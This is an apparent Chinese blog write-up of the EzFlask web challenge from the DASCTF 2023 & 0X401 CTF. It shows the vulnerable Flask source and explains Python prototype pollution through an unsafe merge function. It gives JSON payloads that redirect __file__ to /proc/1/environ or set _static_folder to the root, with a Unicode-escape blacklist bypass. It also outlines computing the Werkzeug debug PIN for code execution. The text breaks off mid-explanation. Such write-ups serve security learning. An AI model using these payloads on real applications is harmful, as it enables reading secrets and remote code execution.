[DASCTF 2023 & 0X401七月暑期挑战赛] Web方向部分题 详细Writeup

博客对EzFlask、ez_cms、MyPicDisk、ez_py、ez_timing等项目代码进行分析。涉及Flask应用开发、Django项目设置,还探讨了原型链污染、本地文件包含、命令拼接注入等漏洞利用方法,如计算PIN码进行RCE、构造phar包上传等。

EzFlask

import uuid

from flask import Flask, request, session
from secret import black_list
import json

app = Flask(__name__)
app.secret_key = str(uuid.uuid4())

def check(data):
    for i in black_list:
        if i in data:
            return False
    return True

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

class user():
    def __init__(self):
        self.username = ""
        self.password = ""
        pass
    def check(self, data):
        if self.username == data['username'] and self.password == data['password']:
            return True
        return False

Users = []

@app.route('/register',methods=['POST'])
def register():
    if request.data:
        try:
            if not check(request.data):
                return "Register Failed"
            data = json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "Register Failed"
            User = user()
            merge(data, User)
            Users.append(User)
        except Exception:
            return "Register Failed"
        return "Register Success"
    else:
        return "Register Failed"

@app.route('/login',methods=['POST'])
def login():
    if request.data:
        try:
            data = json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "Login Failed"
            for user in Users:
                if user.check(data):
                    session["username"] = data["username"]
                    return "Login Success"
        except Exception:
            return "Login Failed"
    return "Login Failed"

@app.route('/',methods=['GET'])
def index():
    return open(__file__, "r").read()

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5010)

代码解释:

  1. 导入所需模块:
  • uuid:用于生成Flask应用程序的随机密钥。
  • Flaskrequestsession来自flask包:这些模块用于创建Web应用程序、处理HTTP请求和管理用户会话。
  • secret中的black_list:假设black_list包含敏感词汇列表。
  1. 设置Flask应用程序和密钥:
  • 创建一个Flask应用程序对象,并为其设置一个随机生成的密钥,这个密钥用于保护会话数据的安全性。
  1. 定义一些辅助函数:
  • check(data): 用于检查传入的数据是否包含在black_list敏感词汇列表中。
  • merge(src, dst): 用于合并两个字典对象,将src字典中的内容合并到dst字典中。
  1. 定义一个user类:
  • 该类包含了usernamepassword属性,并有一个check方法,用于检查用户输入的数据是否与当前实例的用户名和密码匹配。
  1. 创建一个空的Users列表,用于存储注册的用户信息。
  2. 定义了三个路由(route):
  • /register:处理用户注册的POST请求。
  • /login:处理用户登录的POST请求。
  • /:处理GET请求,用于显示当前代码文件的内容。
  1. /register路由的处理函数:
  • 从POST请求中获取数据,并检查是否包含在敏感词汇列表中。若存在敏感词汇,则注册失败。
  • 将接收到的数据转换为JSON格式,并确保数据中包含usernamepassword字段,否则注册失败。
  • 创建一个新的user对象,并将请求中的数据合并到该对象中。
  • 将该用户对象添加到Users列表中,完成注册。
  1. /login路由的处理函数:
  • 从POST请求中获取数据,并确保数据中包含usernamepassword字段。
  • 遍历Users列表中的用户对象,使用user.check(data)方法检查用户输入的数据是否与任何已注册用户的用户名和密码匹配。
  • 若匹配成功,则将username存储到会话(session)中,并返回"Login Success",表示登录成功。
  1. /路由的处理函数:
  • 处理GET请求,将当前代码文件的内容返回给请求者。

这道题现学Python原型链污染

具体可看Article_kelp师傅:Python原型链污染变体(prototype-pollution-in-python)

有两种非预期解

第一种,通过file属性直接读取环境变量

__file__是从中加载模块的文件的路径名(如果它是从文件加载的)。__file__对于静态链接到解释器的C模块,该属性不存在。对于从共享库动态加载的扩展模块,它是共享库文件的路径名。

在您的情况下,模块正在__file__全局名称空间中访问其自己的属性。

因为__init__被ban了,所以可以利用全局变量直接使file为存储环境变量的文件

payload:

{
   
   
	"username":"aaa",
	"password":"bbb",
	"__class__":{
   
   
        "check":{
   
   
            "__globals__":{
   
   
                "__file__" : "/proc/1/environ"
            }
        }
	}
}

image-20230726152939436

通过/路由可以看出,该路由直接通过__file__属性来读取文件并进行输出,所以直接访问就可以了

image-20230726153327774

第二种,static静态目录污染

_static_url_path

这个属性中存放的是flask中静态目录的值,默认该值为static。访问flask下的资源可以采用如http://domain/static/xxx,这样实际上就相当于访问_static_url_path目录下xxx的文件并将该文件内容作为响应内容返回

所以我们可以直接构造payload来进行污染,题目过滤掉了__init__,但是check之后经历了一次json.loads,而且json识别unicode,所以我们可以通过Unicode编码进行绕过,payload:

{
   
   
    "__init\u005f_":{
   
   
        "__globals__":{
   
   
            "app":{
   
   
                "_static_folder":"/"
            }
        }
    },
	"username":1,
	"password":1
}

该payload出自Boogipop师傅:DASCTF 2023 & 0X401 Web WriteUp

构造之后_static_folder的值就变成根目录了

image-20230726144104289

然后可以读取环境变量来得到flag

image-20230726144536589

预期解:

题目是开启了flask的debug模式,访问console控制台,然后配合任意文件读取来计算PIN码,最后进行RCE

利用脚本来计算PIN码

PIN码生成六要素

  • username:可以在任意文件读取下读取/etc/password进行猜测
  • modname:默认是flask.app
  • appname:默认是Flask
  • moddir flask库下app.py绝对路径,可以通过报错拿到,如传参的时候给个不存在的变量
  • uuidnode mac地址的十进制:任意文件读取/sys/class/net/the0/address
  • machine_id:机器码

关于machine_id

如果能任意文件读尝试去读取/usr/local/lib/python3.7/site-packages/werkzeug/debug/__init__.py

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Leafzzz__

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值